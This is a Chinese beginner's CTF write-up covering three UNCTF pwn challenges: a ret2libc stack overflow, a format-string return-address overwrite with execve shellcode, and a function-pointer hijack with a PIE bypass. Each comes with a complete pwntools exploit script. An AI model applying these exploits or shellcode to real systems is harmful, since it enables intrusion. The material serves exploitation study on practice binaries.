UNCTF pwn部分writeup
2020-02-03 04:38
781 查看
UNCTF
pwn
babyrop(栈溢出)
解题过程
首先覆盖变量,然后开启后门,然后通过后门函数来libc leak,然后再次回到后门函数,再次跳转到libc空间执行system("/bin/sh"),需要注意的是,对ret地址进行了check,所以先跳到ret上,然后通过check再到libc空间。
IDA打开
程序很简单
int __cdecl main() { char buf; // [esp+Ch] [ebp-2Ch] int v2; // [esp+2Ch] [ebp-Ch] v2 = 0; sub_80484FB(); puts("Hello CTFer!"); read(0, &buf, 0x30u); if ( v2 == 0x66666666 ) sub_804853D(); puts("Ok!goodbye!"); return 0; }
这里的ret地址
附上exp
#coding:utf-8 from pwn import * context.log_level = 'debug' io = process('./babyrop') elf = ELF('./babyrop') libc = ELF('/lib/i386-linux-gnu/libc.so.6') if __name__ == "__main__": io.recvuntil("Hello CTFer!") payload = 'a' * 0x20 + p32(0x66666666) main_addr = 0x08048592 io.sendline(payload) io.recvuntil("What is your name?") io.sendline('a' * 0x14 + p32(elf.plt['puts']) + p32(main_addr) + p32(elf.got['puts'])) io.recv() libc_base = u32(io.recv()[: 4]) - libc.sym['puts'] success('libc_base:' + hex(libc_base)) io.sendline(payload) io.recv() bin_sh_addr = libc_base + libc.search("/bin/sh").next() io.sendline('a' * 0x14 + p32(0x0804839e) + p32(libc_base + libc.sym[ 'system']) + p32(main_addr) + p32(bin_sh_addr)) #这里的0x0804839e是ret,返回地址 io.interactive()
babyfmt(格式化串漏洞)
原理知识:Printf的漏洞和shellcode
解题思路
先确定buf的偏移,并ebp leak,这样就可以推算出ret和buf的地址,然后通过%{}$hn写入ret为buf的下半部分,然后下半部分恰好放置shellcode,这样就可以执行shellcode拿到shell
打开题目
查一下保护
并未开启保护
IDA打开
exp
#!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "i386" elf = ELF("babyfmt") sh = process('./babyfmt') sh.recvuntil("Please input your message:") payload = "%22$p" sh.send(payload) ebp = int(sh.recv(10),16) ret = ebp - (0xffb66408 - 0xffb663ec) buf_addr = ebp - (0xffb66408 - 0xffb66390) payload = p32(ret) + p32(ret + 2) + "%." + str(buf_addr % 0x10000 + 0x28 - 7) + "d%4$hn" payload += "%." + str((buf_addr >> 16) - (buf_addr % 0x10000) - 0x28 - 2) + "d%5$hn" payload = payload.ljust(0x28,'\x00') payload += "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" log.success("ret: " + hex(ret)) log.success("ebp: " + hex(ebp)) log.success("buf_addr: " + hex(buf_addr)) sh.sendline(payload) sh.interactive()
sosoeasy_pwn
首先查看程序开启了哪些保护
拖入IDA
发现第二个函数
没有溢出但是 答应了一个函数的前几位地址
然后是没有溢出的输入
第三个函数 接受我们的输入 然后复制函数指针。
但是如果我们 输入的是 1,2 以外的 数 v1 就不会得到函数指针而是用 stack 上的值
我们就可以 通过第二个函数布置
但是 开启pie 我们只能得到 addr 的前2字节 我们发现有后面函数就能爆破半字节从而
调用后门函数得到shell
编写脚本,完成函数指针的利用和pie的绕过。
#coding:utf-8 from pwn import * #p=remote('101.71.29.5',10000) p=process('./pwn') context(arch='i386', os='linux', log_level='debug') elf=ELF('./pwn') libc = ELF("./x86_libc.so.6") #system_offset=elf.symbols['system'] p.recvuntil("the ") #bin_sh_offset=0x00000b68 ads=(int(p.recvuntil(' ',drop=True)[-6:])<<16)+0x1000 log.success('ads:'+hex(ads)) bin_sh_addr=ads+0x09D6 log.success('bin_sh_addr:'+hex(bin_sh_addr)) p.recvuntil("So, Can you tell me your name?") payload='a'*12+p32(bin_sh_addr) #12=第一个数组的位置到v2()的距离,即1c-10 print len(payload) p.send(payload) p.recvuntil('Please') #p.sendline('1') p.interactive()
刚接触,只做了这些,希望以后多多指教。
- 点赞 2
- 收藏
- 分享
- 文章举报
相关文章推荐
- Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’
- sharif ctf pwn t00p_secrets writeup
- XCTF-pwn level2 - Writeup
- CTF-i春秋网鼎杯第二场misc部分writeup
- BugKu MISC 部分题目Write_up(三)
- 西普实验吧部分逆向题writeup(二)
- CCTF重邮(绿盟)杯_部分解密题WriteUp
- 第三届强网杯部分writeup
- bugkuctf练习平台reverse部分writeup
- 实验吧隐写术部分writeup(1)
- solveme 部分 writeup
- BugKu CTF 加密题部分writeup
- pwnhub——胖哈勃外传-第一集 writeup
- 南京邮电大学CTF密码学部分Writeup
- 0ctf-2016 pwn-warmup writeup
- XCTF-pwn-guess_num - Writeup
- 【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www
- zctf-pwn500-restaurant-write-up
- Bugku旧平台pwn writeup